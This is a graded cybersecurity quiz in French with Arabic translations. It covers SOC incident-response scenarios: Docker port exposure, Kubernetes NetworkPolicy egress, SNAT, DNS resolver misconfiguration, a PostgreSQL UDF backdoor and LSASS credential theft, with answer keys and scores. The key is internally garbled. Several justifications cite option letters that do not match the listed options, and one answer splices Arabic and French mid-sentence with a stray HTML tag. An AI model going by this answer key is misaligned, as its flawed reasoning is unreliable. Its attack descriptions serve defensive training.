
En tant qu'ingénieur cybersécurité, vous auditez une base de données PostgreSQL critique déployée dans un conteneur Docker sur un hôte Ubuntu. L'hôte est multi-interfaces : `eth0` (IP: 10.20.30.5/24) dans le VLAN sécurisé des bases de données (VLAN 20) et `eth1` (IP: 10.50.60.5/24) dans le VLAN d'administration moins sécurisé (VLAN 50). Le conteneur a été lancé avec la commande `docker run --name e-judiciary-db -p 5432:5432 postgres:14`. Un pare-feu FortiGate est configuré pour interdire tout trafic du VLAN 50 vers le VLAN 20. Pourtant, une investigation révèle qu'une machine non autorisée (10.50.60.100) dans le VLAN d'administration a réussi à se connecter à la base de données.

? Quelle option ci-dessous représente l'analyse la PLUS précise de la faille et la stratégie de remédiation immédiate la PLUS efficace

a. **Analyse : La configuration `listen_addresses = '*'` dans le fichier `postgresql.conf` du conteneur est la cause principale, forçant l'écoute sur toutes les interfaces.**
Remédiation : Se connecter au conteneur (`docker exec`) et modifier la configuration pour `listen_addresses = 'localhost'`, puis redémarrer le service PostgreSQL dans le conteneur.

.b Analyse : Le pare-feu FortiGate est mal configuré et ne filtre pas correctement le trafic entre les VLANs 50 et 20.
Remédiation : Ajouter immédiatement une règle "deny" explicite sur le FortiGate de la source `10.50.60.100` vers la destination `10.20.30.5` sur le port TCP/5432.

.c Analyse : Le service Docker est configuré pour ignorer le pare-feu de l'hôte (`iptables`), permettant un contournement des règles locales.
Remédiation : Modifier le fichier `/etc/docker/daemon.json` pour forcer l'utilisation d'iptables (`"iptables": true`) et redémarrer le service Docker, ce qui entraînera une interruption de service.

.d Aucune des réponses proposées.

.e Analyse : La commande `docker run -p 5432:5432` lie le port à toutes les interfaces de l'hôte, contournant la politique du pare-feu inter-VLAN.
Remédiation : La stratégie la plus efficace consiste à arrêter immédiatement le conteneur (`docker stop e-judiciary-db`) pour bloquer l'accès, puis le relancer avec une liaison de port spécifique à l'IP sécurisée.

Incorrect. Bien que l'analyse soit correcte, la remédiation immédiate proposée n'est pas la plus efficace car elle cause une interruption de service. Une meilleure approche immédiate serait d'utiliser le pare-feu de l'hôte pour bloquer le trafic sur l'interface non sécurisée sans arrêter le conteneur.

Analyse technique : La faille provient du comportement par défaut de Docker. La commande `docker run -p 5432:5432` publie le port du conteneur en le liant à `0.0.0.0:5432` sur l'hôte. Sur un serveur multi-interfaces, cela signifie que le port 5432 est accessible via l'IP de `eth0` (10.20.30.5) et celle de `eth1` (10.50.60.5). Le trafic provenant d'une machine du VLAN 50 (10.50.60.100) vers l'IP de l'hôte dans ce même VLAN (10.50.60.5) est un trafic local à ce segment réseau. Il n'a pas besoin d'être routé et ne traverse donc jamais le pare-feu FortiGate, qui est positionné pour filtrer le trafic *entre* les VLANs. La segmentation est ainsi contournée au niveau de l'hôte.

Justification :

- L'option A est incorrecte car le pare-feu n'est pas sur le chemin du trafic de l'attaque.
- L'option B est incorrecte car le comportement par défaut de Docker est de gérer `iptables`, et ce n'est pas la cause première. De plus, la remédiation est disruptive.
- L'option C est un distracteur courant. La configuration `listen_addresses` à l'intérieur du conteneur n'affecte pas la liaison de port effectuée par Docker sur l'hôte. Changer cette valeur à `localhost` bloquerait également le trafic légitime.
- L'option D fournit une analyse correcte mais propose une remédiation immédiate disruptive (`docker stop`). Une stratégie plus efficace et non disruptive serait d'utiliser le pare-feu de l'hôte (ex: `ufw` ou `iptables`) pour bloquer spécifiquement le trafic entrant sur l'interface non sécurisée (`eth1`) pour le port 5432, tout en maintenant le service pour les utilisateurs légitimes sur `eth0`. La remédiation à long terme consiste bien à relancer le conteneur avec `-p 10.20.30.5:5432:5432`.

Par conséquent, aucune des options ne propose la combinaison optimale d'analyse et de remédiation immédiate.

La réponse correcte est : Aucune des réponses proposées.

Note de -0,25 sur 1,00 Incorrect Question 39

En tant qu'analyste au SOC de la Police Nationale, vous investiguez pourquoi un pod applicatif, portant le label `app: e-dossiers` dans le namespace `production`, parvient à établir une connexion TCP sortante non autorisée vers une IP externe, alors qu'une politique réseau (NetworkPolicy) est censée restreindre ce trafic.

Voici le manifeste de la NetworkPolicy appliquée :

```yaml
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-traffic
  namespace: production
spec:
  podSelector:
    matchLabels:
      app: e-dossiers
  policyTypes:
    - Ingress
  ingress:
    - from:
      - namespaceSelector:
          matchLabels:
            name: api-gateway
      ports:
      - protocol: TCP
        port: 8080
  egress:
    - to:
      - namespaceSelector:
          matchLabels:
            name: database
      ports:
      - protocol: TCP
        port: 5432
```

En vous basant **exclusivement** sur ce manifeste, quelle est la raison technique correcte qui explique pourquoi le trafic de sortie (Egress) du pod n'est pas bloqué ?

a. **Aucune de ces réponses.**

b. **La politique est invalide car une règle `egress` ne peut pas être définie dans la même politique qu'une règle `ingress`.**

Incorrect. Il est tout à fait valide et courant de définir des règles `ingress` et `egress` dans un seul et même manifeste NetworkPolicy. Le problème vient de la configuration d'un autre champ.

c. **Le `podSelector` de la politique ne correspond à aucun pod, ce qui désactive la politique pour tout le namespace.**

d. **Le trafic est autorisé car la politique ne contient pas de règle de refus explicite (deny-all) pour le trafic sortant.**

e. **Le plugin CNI du cluster ne supporte pas le champ `namespaceSelector`, ce qui rend la règle `egress` inopérante.**

Analyse technique: تحليل فني:

La raison fondamentale de l'échec de la politique de sortie réside dans la ligne `policyTypes: [- Ingress]`. Lorsque le champ `policyTypes` est explicitement défini dans un manifeste de NetworkPolicy, seules les règles correspondant aux types listés (ici, uniquement 'Ingress') sont évaluées et appliquées par le plugin CNI. Par conséquent, l'intégralité du bloc `egress` est ignorée.

Justification: التبرير:

Le pod est bien sélectionné par le `podSelector` de la politique. Comme la politique ne spécifie que 'Ingress' dans `policyTypes`, le pod devient "isolé" uniquement pour le trafic entrant. Pour le trafic sortant (Egress), aucune politique ne le sélectionne, car la seule politique qui le sélectionne ignore sa propre section `egress`. Dans Kubernetes, si un pod n'est sélectionné par aucune politique pour une direction de trafic donnée (ici, Egress), le comportement par défaut est d'autoriser tout le trafic dans cette direction. C'est pourquoi la connexion sortante non autorisée est permise. Aucune des options proposées ne décrit correctement ce mécanisme précis, faisant de "Aucune de ces réponses" la seule option correcte.

La réponse correcte est : Aucune de ces réponses.

Noté sur 1,00 Non répondue Question 40

En tant qu'Ingénieur Cybersécurité au SOC de la Police Nationale, vous investiguez une panne de connectivité. Un pod applicatif, dans le namespace `e-services` d'un cluster Kubernetes, ne parvient pas à se connecter à une API externe sur `198.51.100.50:443`. Une politique réseau (NetworkPolicy) de sortie (Egress) stricte est en place, et un pare-feu FortiGate sécurise le périmètre.

Vous disposez des données corrélées suivantes :

1. **Logs applicatifs :** Le pod signale une erreur `Connection timed out`.
2. **Logs FortiGate :** Le pare-feu enregistre et bloque (`action=deny`) du trafic provenant de l'adresse IP du nœud Kubernetes `10.20.0.5` vers `198.51.100.50:443`. Aucun trafic provenant de l'IP du pod (`10.244.1.10`) n'est visible.
3. **Manifeste de la NetworkPolicy :**

```
apiVersion: networking.k8s.io/v1\nkind: NetworkPolicy\nmetadata:\n  name: allow-external-api\n  namespace: e-services\nspec:\n  podSelector: {}\n  policyTypes:\n  - Egress\n  egress:\n  - to:\n    - ipBlock:\n        cidr: 198.51.100.0/24\n    ports:\n    - protocol: TCP\n      port: 443\n  - to:\n    - podSelector:\n        matchLabels:\n  k8s-app: kube-dns\n      namespaceSelector:\n        matchLabels:\n          kubernetes.io/metadata.name: kube-system
```

4. **Analyse du Nœud :** Une inspection des règles `iptables` sur le nœud `10.20.0.5` révèle une règle `MASQUERADE` dans la chaîne `POSTROUTING` pour le trafic sortant de l'interface réseau principale.

En vous basant sur une analyse rigoureuse de ces éléments, quelle est l'explication technique la plus précise de cette défaillance de connectivité ?

a. **La NetworkPolicy est inefficace car la règle `ipBlock` est trop restrictive. Le CIDR `198.51.100.0/24` n'inclut pas l'adresse IP de destination `198.51.100.50`.**

b. **La NetworkPolicy est mal configurée. Son `podSelector` est vide (`{}`), ce qui l'empêche de s'appliquer correctement au pod applicatif et bloque donc tout le trafic de sortie.**

c. **Le plugin CNI (Container Network Interface) du cluster est défaillant. Il n'applique pas correctement la NetworkPolicy, ce qui entraîne une perte de paquets au niveau du nœud avant même qu'ils n'atteignent le pare-feu externe.**

d. **Le pare-feu FortiGate est mal configuré. Il bloque le trafic provenant de l'adresse IP du pod (`10.244.1.10`) alors qu'il devrait l'autoriser. Une règle d'autorisation doit être ajoutée pour cette IP source.**

e. **Aucune des réponses proposées.**

Analyse technique :

La cause racine de cet incident est un phénomène standard mais souvent négligé dans les architectures Kubernetes : la traduction d'adresse réseau source (SNAT) du trafic de sortie (Egress).

Justification :

- **La NetworkPolicy (point 3) est correctement configurée. Elle autorise bien le trafic sortant depuis tous les pods du namespace `e-services` vers le CIDR `198.51.100.0/24` sur le port TCP 443. Le trafic est donc autorisé à quitter le pod.**
- **Le point crucial est la règle `MASQUERADE` (SNAT) sur le nœud (point 4). Par défaut, lorsque le trafic d'un pod quitte le nœud pour une destination externe au cluster, le nœud remplace l'adresse IP source du pod (`10.244.1.10`) par sa propre adresse IP (`10.20.0.5`).**
- **Par conséquent, le pare-feu FortiGate ne voit jamais de trafic provenant de l'IP du pod. Il voit du trafic provenant de l'IP du nœud (point 2). Comme il n'existe probablement pas de règle autorisant le nœud `10.20.0.5` à communiquer avec `198.51.100.50`, le FortiGate bloque la connexion, ce qui est le comportement attendu de sa part.**
- **Les options A, B, C et D sont des distracteurs plausibles mais incorrects : A interprète mal le fonctionnement du `podSelector`, B ignore l'effet du SNAT, C invoque un dysfonctionnement du CNI sans preuve, et D est factuellement incorrect car l'IP est bien dans le CIDR.**

La réponse correcte est : Aucune des réponses proposées.

Note de -0,25 sur 1,00 Incorrect Question 41

En tant qu'analyste au SOC de la Police Nationale, vous investiguez une dégradation de performance sur un serveur de base de données PostgreSQL critique (Ubuntu). Vous corréléz les indicateurs suivants :

1. **Alerte SIEM (ELK) :** Un volume anormalement élevé de requêtes DNS (UDP/53) sortantes est détecté, provenant du processus `postgres` lui-même, à destination d'une adresse IP interne non autorisée (10.1.1.254).
2. **Logs Pare-feu (FortiGate) :** Le trafic est confirmé et autorisé par une règle de pare-feu générale qui autorise les flux DNS sur le réseau interne.
3. **Analyse de l'Hôte :** La commande `cat /etc/resolv.conf` sur le serveur affiche une seule ligne correcte : `nameserver 10.1.1.1`, qui est le serveur DNS légitime. La commande `lsof -i:53` confirme que le processus `postgres` est bien à l'origine des connexions.
4. **Capture Réseau (tshark) :** Une capture sur le serveur montre que les requêtes DNS sont pour des domaines externes légitimes (ex: `security.ubuntu.com`), mais le serveur 10.1.1.254 répond systématiquement avec des messages `SERVFAIL`, provoquant des délais et des retransmissions.

En vous basant sur une analyse rigoureuse de ces indicateurs, quelle est la cause racine la plus probable de ce comportement ?

a. **La configuration réseau du serveur est gérée par `cloud-init`, et un script de configuration (user-data) a incorrectement défini 10.1.1.254 comme serveur DNS, ce qui a priorité sur la configuration visible dans `/etc/resolv.conf`.**

b. **Le serveur DHCP du VLAN de la base de données est mal configuré et distribue 10.1.1.254 comme serveur DNS principal. Le client DHCP du serveur Ubuntu priorise cette configuration reçue par rapport à sa configuration statique.**

> **Les serveurs de base de données critiques ont généralement des adresses IP statiques et ne dépendent pas de DHCP pour leur configuration DNS. Même si DHCP était utilisé, ce comportement de priorisation n'est pas universel et reste une hypothèse parmi d'autres.**

c. **Une extension PostgreSQL malveillante a été installée, et elle utilise le protocole DNS pour une communication de commande et de contrôle (C2) furtive. Les réponses `SERVFAIL` sont un effet secondaire de la tentative de communication avec le serveur C2.**

d. **Le fichier `/etc/hosts` a été modifié pour contenir une entrée qui force la résolution d'un nom de domaine fréquemment utilisé par PostgreSQL à passer par le serveur de noms 10.1.1.254.**

e. **Aucune des réponses proposées.**

> **Analyse technique :**
>
> **Le scénario décrit un problème où un processus utilise un serveur DNS incorrect (10.1.1.254) malgré le fait que le fichier de configuration DNS principal et visible (`/etc/resolv.conf`) pointe vers le bon serveur (10.1.1.1). Les symptômes (requêtes légitimes, réponses `SERVFAIL`, source du processus `postgres`) orientent vers un problème de configuration système subtil plutôt qu'une attaque de type tunneling DNS (qui utiliserait des sous-domaines encodés).**
>
> **Justification :**
>
> **Toutes les options proposées sont des distracteurs plausibles mais incorrects ou incomplets :**
>
> - **A est peu probable car les domaines interrogés sont légitimes, ce qui n'est pas typique du tunneling DNS pour C2.**
> - **B est une hypothèse trop spécifique. Bien que cloud-init puisse configurer le réseau, il n'y a aucune preuve directe pour l'affirmer, et cela n'explique pas la divergence avec `/etc/resolv.conf` dans tous les cas.**
> - **C est une cause possible de problèmes DNS, mais elle est moins probable pour un serveur critique qui a généralement une configuration réseau statique. De plus, cela n'explique pas pourquoi seul ce serveur serait affecté de cette manière.**
> - **D décrit un mécanisme incorrect. Le fichier `/etc/hosts` sert à la résolution de noms locaux (nom vers IP) et ne peut pas rediriger des requêtes DNS vers un serveur de noms spécifique.**
>
> **La bonne réponse est "Aucune des réponses proposées" car la cause la plus probable dans un système Ubuntu moderne est une configuration dynamique ou une mauvaise configuration du service `systemd-resolved`. Le fichier `/etc/resolv.conf` est souvent un simple lien symbolique vers un stub resolver (127.0.0.53) et ne reflète pas la configuration réelle des serveurs DNS en amont. Un administrateur a pu, par erreur, configurer un serveur DNS par-lien (per-link) via `netplan`, `NetworkManager`, ou directement avec la commande `resolvectl`. Un expert en cybersécurité doit savoir qu'il faut vérifier l'état dynamique du résolveur avec `resolvectl status` pour obtenir la configuration DNS complète et active, plutôt que de se fier uniquement à `/etc/resolv.conf`. Cette cause avancée n'étant pas listée, la seule réponse correcte est de rejeter les autres options.**

> La réponse correcte est : Aucune des réponses proposées.

Note de 0,00 sur 1,00 Incorrect Question 42

En tant qu'ingénieur au Centre de Cyberdéfense, vous analysez le serveur PostgreSQL (Ubuntu) le plus critique de la Police Nationale. Vous observez une connexion TCP sortante, chiffrée, persistante et à faible volume, émanant du processus principal `postgres` (PID 1234) vers une adresse IP suspecte sur le port 9999. Les outils standards (`netstat`, `lsof`) confirment la connexion mais aucune configuration applicative ou

système ne la justifie. Le SIEM (Wazuh) est silencieux. Vous suspectez une compromission avancée, potentiellement "fileless", opérant directement depuis la mémoire du processus de la base de données.

: Décrivez votre plan d'investigation forensique avancé pour disséquer cette menace sans interrompre le service. Votre réponse doit détailler

1. **Investigation Base de Données :** Quelles requêtes SQL spécifiques lanceriez-vous pour rechercher des fonctions utilisateur (UDF), des triggers ou des extensions potentiellement malveillants qui pourraient initier des appels système ?
2. **Analyse Système Avancée :** Quelles commandes ou outils (ex: `strace`, analyse du `/proc` filesystem) utiliseriez-vous sur le PID 1234 pour tracer en temps réel les appels système (notamment `socket`, `connect`) et identifier les bibliothèques partagées (.so) chargées en mémoire qui ne sont pas sur le disque ?
3. **Stratégie de Confinement et d'Éradication :** Proposez une mesure de confinement réseau "chirurgicale" sur le FortiGate. Ensuite, une fois la source de la menace identifiée (ex: une UDF malveillante chargeant un .so), décrivez la procédure technique pour l'éradiquer de la base de données et du système avec un impact minimal.

Réponse : Question 42

La réponse correcte est : Une réponse experte doit inclure : 1. DB Investigation : Utiliser `\df+` et `\dx+` dans `psql` pour lister les fonctions et extensions. Inspecter le code source des UDF suspectes (surtout celles en C, `pl/c`) via `pg_proc` (`SELECT proname, prosrc FROM pg_proc WHERE ...`). Rechercher des triggers suspects sur des tables critiques avec `SELECT FROM information_schema.triggers`. 2. OS Analysis : Utiliser `strace -p 1234 -e trace=network` pour voir les appels `connect`. Examiner `/proc/1234/maps` et `/proc/1234/smaps` pour trouver des segments de mémoire avec des permissions suspectes (rwx) ou des bibliothèques non mappées à un fichier. Utiliser `gdb -p 1234` pour attacher au processus et lister les bibliothèques (`info sharedlibrary`). 3. Containment/Eradication : Sur FortiGate, créer une règle de blocage spécifique pour le flux `SRC:IP_DB_SERVER -> DST:IP_SUSPECT:9999` avec logging activé. Pour l'éradication, se connecter à la BDD et lancer `DROP FUNCTION nom_fonction_malveillante CASCADE;`. يجب أن تتضمن الإجابة الخبيرة ما يلي: 1. تحقيق قاعدة"Ensuite, tuer toute connexion résiduelle (`pg_terminate_backend`).<span lang="ar" class="multilang البيانات: استخدام `\df+` و `\dx+` في `psql` لسرد الوظائف والإضافات. فحص الكود المصدري للوظائف المشبوهة (خاصة المكتوبة بلغة `C`، `pl/c`) عبر `pg_proc` (`SELECT proname, prosrc FROM pg_proc WHERE ...`). البحث عن محفزات مشبوهة على الجداول الحساسة باستخدام `SELECT FROM information_schema.triggers`. 2. تحليل نظام التشغيل: استخدام `strace -p 1234 -e trace=network` لرؤية استدعاءات `connect`. فحص `/proc/1234/maps` و `/proc/1234/smaps` للعثور على أجزاء ذاكرة ذات أذونات مشبوهة (rwx) أو مكتبات غير مرتبطة بملف. استخدام `gdb -p 1234` للارتباط بالعملية وسرد المكتبات (`info sharedlibrary`). 3. الاحتواء والإزالة: على FortiGate، إنشاء قاعدة حظر محددة للتدفق `SRC:IP_DB_SERVER -> DST:IP_SUSPECT:9999` مع تفعيل التسجيل. للإزالة، الاتصال بقاعدة البيانات وتنفيذ `DROP FUNCTION nom_fonction_malveillante CASCADE;`. بعد ذلك، إنهاء أي اتصالات متبقية (`pg_terminate_backend`).

Note de 0,00 sur 1,00 Incorrect Question 43

En tant qu'ingénieur au Centre de Cyberdéfense, vous investiguez une activité suspecte sur un serveur Ubuntu critique (IP: 10.10.20.15) hébergeant la base de données PostgreSQL des casiers judiciaires. Le SIEM ne signale aucune alerte majeure, mais une analyse `tshark` révèle une connexion TLS persistante et à faible débit sur le port TCP/1337 vers une IP externe inconnue (91.X.X.X). Simultanément, les logs `PostgreSQL` montrent des appels répétés à une fonction non standard nommée `exec_shell_command(text)`.

: En vous basant sur ces éléments, décrivez votre plan d'action en 5 minutes

1. **Hypothèse d'Attaque :** Quelle est la chaîne d'attaque la plus probable, de la compromission initiale à l'objectif final de l'attaquant ?
2. **Investigation sur l'Hôte :** Citez les trois commandes Linux les plus cruciales que vous exécuteriez sur le serveur pour identifier le processus malveillant lié au port 1337 et comprendre l'origine de la fonction `exec_shell_command`. Justifiez le choix de chaque commande.
3. **Confinement Réseau :** Décrivez une règle de pare-feu FortiGate précise et "chirurgicale" que vous mettriez en place pour bloquer la communication du malware (C2) sans interrompre le service légitime de la base de données et sans alerter immédiatement l'attaquant de sa détection complète.
4. **Préservation des Preuves :** Quelle est l'action prioritaire et l'outil que vous utiliseriez pour préserver les preuves volatiles les plus critiques (ex: mémoire vive) du serveur avant toute action de remédiation plus intrusive ?

بصفتك مهندسًا في مركز الدفاع السيبراني، تحقق في نشاط مشبوه على خادم Ubuntu حرج (IP: 10.10.20.15) يستضيف قاعدة بيانات PostgreSQL للسجلات الجنائية. لا يُصدر نظام SIEM أي تنبيهات رئيسية، لكن تحليل `tshark` يكشف عن اتصال TLS مستمر ومنخفض النطاق على منفذ TCP/1337 إلى عنوان IP خارجي غير معروف (X.X.X.91). في الوقت نفسه، تُظهر سجلات PostgreSQL استدعاءات متكررة لدالة غير قياسية تسمى `exec_shell_command(text)`.

بناءً على هذه المعلومات، صف خطة عملك في 5 دقائق:

1. **فرضية الهجوم:** ما هي سلسلة الهجوم الأكثر احتمالاً، من الاختراق الأولي إلى الهدف النهائي للمهاجم؟
2. **التحقيق على المضيف:** اذكر أهم ثلاثة أوامر Linux التي ستنفذها على الخادم لتحديد العملية الخبيثة المرتبطة بالمنفذ 1337 وفهم أصل الدالة `exec_shell_command`. برر اختيار كل أمر.
3. **الاحتواء على مستوى الشبكة:** صف قاعدة جدار حماية FortiGate دقيقة و"جراحية" يمكنك تطبيقها لحظر اتصال البرمجية الخبيثة (C2) دون قطع الخدمة المشروعة لقاعدة البيانات ودون تنبيه المهاجم فورًا بأنه تم اكتشافه بالكامل.
4. **الحفاظ على الأدلة:** ما هو الإجراء ذو الأولوية والأداة التي ستستخدمها للحفاظ على الأدلة المتطايرة الأكثر أهمية (مثل الذاكرة الحية) من الخادم قبل اتخاذ أي إجراء علاجي قد يؤثر عليها؟

Réponse : Question 43

La réponse correcte est : 1. Hypothèse : L'attaquant a probablement exploité une vulnérabilité SQL (ex: CVE-2019-9193) ou des identifiants faibles pour créer une fonction UDF (User-Defined Function) malveillante (`exec_shell_command`) dans PostgreSQL. Cette fonction lui permet d'exécuter des commandes système. Il l'a utilisée pour télécharger et exécuter un implant/RAT (Remote Access Trojan) qui a établi un canal de commande et contrôle (C2) chiffré persistant sur le port 1337. L'objectif est la persistance, le contrôle à long terme et potentiellement la manipulation ou l'exfiltration lente de données. 2. Investigation Hôte : `sudo lsof -i :1337` ou `sudo netstat -tulnp | grep 1337` : Pour identifier immédiatement le PID (Process ID) et le nom du processus qui écoute ou est connecté sur ce port. C'est la première étape pour trouver le binaire malveillant. `ps -p [PID] -o command` et `ls -l /proc/[PID]/exe` : Pour examiner la ligne de commande complète du processus suspect et trouver l'emplacement de son exécutable sur le disque, ce qui est crucial pour l'analyse statique et la suppression. Connexion à PostgreSQL (`psql -U [user] -d [db]`) et exécution de `\df+ exec_shell_command` : Pour inspecter la définition de la fonction malveillante, identifier la librairie externe (.so) qu'elle utilise et potentiellement le langage (ex: C), ce qui révèle le mécanisme de la porte dérobée au niveau de la base de données. 3. Confinement Réseau : Créer une règle sur le FortiGate avec les paramètres suivants : Source: 10.10.20.15 Destination: 91.X.X.X Service: TCP/1337 Action: Deny (ou Drop) Logging: Enable All Logique : Cette règle bloque spécifiquement le trafic C2 identifié sans affecter les connexions légitimes sur le port 5432. L'action "Deny" (ou "Drop") coupe la communication de l'attaquant, et l'activation du logging permet de continuer à surveiller les tentatives de connexion de l'implant, confirmant sa présence. 4. Préservation des Preuves : L'action prioritaire est de faire un dump de la mémoire vive (RAM) du serveur. Outil : Utiliser un outil comme LiME (Linux Memory Extractor) ou AVML (Acquire Volatile Memory for Linux) . Raison : La mémoire vive contient des preuves extrêmement volatiles comme les processus en cours d'exécution, les connexions réseau actives, les clés de chiffrement, les segments de code injectés, qui seraient perdus lors d'un redémarrage ou de l'arrêt du processus malveillant. C'est la source la plus riche pour une analyse forensique approfondie.1. الفرضية: من المرجح أن المهاجم استغل ثغرة أمنية في SQL (مثل CVE-2019-9193) أو بيانات اعتماد ضعيفة لإنشاء دالة خبيثة معرفة من قبل المستخدم (UDF) باسم `exec_shell_command` في PostgreSQL. هذه الدالة تسمح له بتنفيذ أوامر النظام. استخدمها لتنزيل وتشغيل برمجية خبيثة (RAT) أنشأت قناة قيادة وتحكم (C2) مشفرة ومستمرة على المنفذ 1337. الهدف هو الثبات، والتحكم طويل الأمد، وربما التلاعب بالبيانات أو تسريبها ببطء. 2. التحقيق على المضيف: `sudo lsof -i :1337` أو `sudo netstat -tulnp | grep 1337`: لتحديد معرف العملية (PID) واسم العملية التي تستمع أو متصلة على هذا المنفذ فورًا. هذه هي الخطوة الأولى للعثور على الملف التنفيذي الخبيث. `ps -p [PID] -o command` و `ls -l /proc/[PID]/exe`: لفحص سطر الأوامر الكامل للعملية المشبوهة والعثور على موقع ملفها التنفيذي على القرص، وهو أمر حاسم للتحليل الثابت والإزالة. الاتصال بـ (`psql -U [user] -d [db]`) PostgreSQL وتنفيذ `df+ exec_shell_command\`: لفحص تعريف الدالة الخبيثة، وتحديد المكتبة الخارجية (.so) التي تستخدمها، وربما لغة البرمجة (مثل C)، مما يكشف عن آلية الباب الخلفي على مستوى قاعدة البيانات. 3. الاحتواء على مستوى الشبكة: إنشاء قاعدة على FortiGate بالإعدادات التالية: المصدر: 10.10.20.15 الوجهة: X.X.X.91 الخدمة: TCP/1337 الإجراء: Deny (أو Drop) التسجيل: Enable All المنطق: هذه القاعدة تحظر بشكل محدد حركة مرور C2 المكتشفة دون التأثير على الاتصالات المشروعة على المنفذ 5432. الإجراء "Deny" (أو "Drop") يقطع اتصال المهاجم، وتفعيل التسجيل يسمح بمواصلة مراقبة محاولات الاتصال من البرمجية الخبيثة، مما يؤكد وجودها. 4. الحفاظ على الأدلة: الإجراء ذو الأولوية هو أخذ نسخة من الذاكرة الحية (RAM) للخادم. الأداة: استخدام أداة مثل LiME (Linux Memory Extractor) أو AVML (Acquire Volatile Memory for Linux) . السبب: تحتوي الذاكرة الحية على أدلة متطايرة للغاية مثل العمليات قيد التشغيل، واتصالات الشبكة النشطة، ومفاتيح التشفير، وأجزاء التعليمات البرمجية المحقونة، والتي ستفقد عند إعادة تشغيل الخادم أو إيقاف العملية الخبيثة. إنها أغنى مصدر لتحليل جنائي رقمي متعمق.

Note de 0,00 sur 1,00 Incorrect Question 44

: En tant qu'analyste au SOC de la Police Nationale, une série d'événements de faible sévérité, mais corrélés, attire votre attention

1. **Événement 1 (Wazuh sur 'PC-Enqueteur-07') :** `Rule: 592 - A new user was added to the Local Administrators group. Details: User 'svc_backup' added to group 'Administrators' by process 'net1.exe'.`
2. **Événement 2 (Logs Windows Security sur 'PC-Enqueteur-07') :** Quelques secondes plus tard, un événement `4624 - An account was successfully logged on` est enregistré pour l'utilisateur 'svc_backup' avec un `Logon Type: 9 (NewCredentials)`. Le processus source est `powershell.exe`.
3. **Événement 3 (FortiGate) :** Le poste 'PC-Enqueteur-07' (10.10.30.18) initie une connexion WinRM (TCP/5985) vers le serveur de fichiers 'SRV-ARCHIVES' (10.10.20.40).
4. **Événement 4 (Wazuh sur 'SRV-ARCHIVES') :** Une alerte se déclenche : `Rule: 61151 - LSASS process memory was accessed. Details: Process 'C:\Windows\System32\rundll32.exe' accessed the memory of 'lsass.exe'.`

: En vous basant sur la corrélation de ces quatre événements, décrivez votre analyse de la situation

1. Quelle est la séquence d'attaque la plus probable (nommez les techniques de la matrice MITRE ATT&CK si possible) ?
2. Quel est l'objectif probable de l'attaquant en accédant à la mémoire du processus `lsass.exe` ?
3. Quelles sont vos deux premières actions ou commandes d'investigation sur le poste 'PC-Enqueteur-07' pour comprendre la compromission initiale ?
4. Quelle mesure de confinement immédiate et ciblée mettriez-vous en place au niveau du réseau (FortiGate) pour stopper la progression de l'attaquant, tout en permettant la poursuite des investigations ?

Réponse : Question 44

La réponse doit démontrer une compréhension approfondie de la chaîne d'attaque dans un environnement Windows, en corrélant les événements de l'hôte et du réseau. Le candidat doit identifier les techniques spécifiques (escalade de privilèges, mouvement latéral, vol d'identifiants) et proposer des actions de réponse et de confinement précises et logiques, montrant une maîtrise des outils et des procédures d'investigation.

La réponse correcte est : 1. Séquence d'attaque (MITRE ATT&CK) : - Escalade de privilèges (T1068) : Ajout de l'utilisateur 'svc_backup' au groupe Administrateurs locaux. - Mouvement latéral (T1021.006 - WinRM) : Utilisation du compte privilégié pour se connecter à distance au serveur 'SRV-ARCHIVES'. - Accès aux identifiants (T1003.001 - OS Credential Dumping: LSASS Memory) : Tentative de vol des identifiants (mots de passe, hashes) stockés en mémoire sur le serveur cible. 2. Objectif de l'accès à LSASS : Voler les identifiants des comptes (notamment des administrateurs de domaine) connectés au serveur 'SRV-ARCHIVES' pour étendre le contrôle sur le réseau et atteindre des cibles de plus grande valeur. 3. Investigation sur 'PC-Enqueteur-07' : - Action 1 : Isoler le poste dans un VLAN de quarantaine pour couper l'accès de l'attaquant tout en gardant la machine accessible pour l'analyse. - Action 2 : Analyser l'historique des commandes PowerShell et les processus en cours (avec leurs parents) pour identifier le script ou le binaire

malveillant initial. Par exemple, avec `Get-CimInstance Win32_Process | Select-Object ProcessId, ParentProcessId, CommandLine`. 4. Confinement réseau (FortiGate) : Créer une règle de pare-feu prioritaire qui bloque tout le trafic sortant de l'IP 10.10.30.18 vers le réseau interne, à l'exception des flux nécessaires à l'investigation (vers les machines du SOC). Cela empêche toute nouvelle tentative de mouvement latéral par l'attaquant.1. تسلسل الهجوم (MITRE ATT&CK): - تصعيد الامتيازات (T1068): إضافة المستخدم 'svc_backup' إلى مجموعة المسؤولين المحليين. - الحركة الجانبية (T1021.006 - WinRM): استخدام الحساب ذي الامتيازات للاتصال عن بعد بالخادم 'SRV-ARCHIVES'. - الوصول إلى بيانات الاعتماد (T1003.001 - OS Credential Dumping: LSASS Memory): محاولة سرقة بيانات الاعتماد (كلمات المرور، الهاشات) المخزنة في الذاكرة على الخادم المستهدف. 2. الهدف من الوصول إلى LSASS: سرقة بيانات اعتماد الحسابات (خاصة مسؤولي النطاق) المتصلة بالخادم 'SRV-ARCHIVES' لتوسيع السيطرة على الشبكة والوصول إلى أهداف ذات قيمة أعلى. 3. التحقيق على 'PC-Enqueteur-07': - الإجراء 1: عزل محطة العمل في شبكة VLAN للحجر الصحي لقطع وصول المهاجم مع إبقاء الجهاز متاحًا للتحليل. - الإجراء 2: تحليل سجل أوامر PowerShell والعمليات قيد التشغيل (مع العمليات الأصل) لتحديد البرنامج النصي أو الملف التنفيذي الخبيث الأولي. على سبيل المثال، باستخدام `Get-CimInstance Win32_Process | Select-Object ProcessId, ParentProcessId, CommandLine`. 4. الاحتواء على مستوى الشبكة (FortiGate): إنشاء قاعدة جدار حماية ذات أولوية تحظر كل حركة المرور الصادرة من IP 10.10.30.18 إلى الشبكة الداخلية، باستثناء التدفقات اللازمة للتحقيق (إلى أجهزة مركز العمليات الأمنية). هذا يمنع أي محاولة جديدة للحركة الجانبية من قبل المهاجم.

Note de 0,00 sur 1,00 Incorrect Question 45

En tant qu'analyste cybersécurité effectuant une session de "threat hunting" proactive, vous examinez le trafic réseau du serveur GitLab (Ubuntu) de la Police Nationale. Vous observez un flux constant et inhabituel de paquets ICMP Echo Request (Type 8) à destination d'une adresse IP externe non répertoriée. L'analyse avec Wireshark révèle deux anomalies majeures : la taille de la charge utile (payload) de ces paquets est systématiquement de 1024 octets, et le champ de données contient des chaînes de caractères qui semblent encodées, et non les motifs habituels.

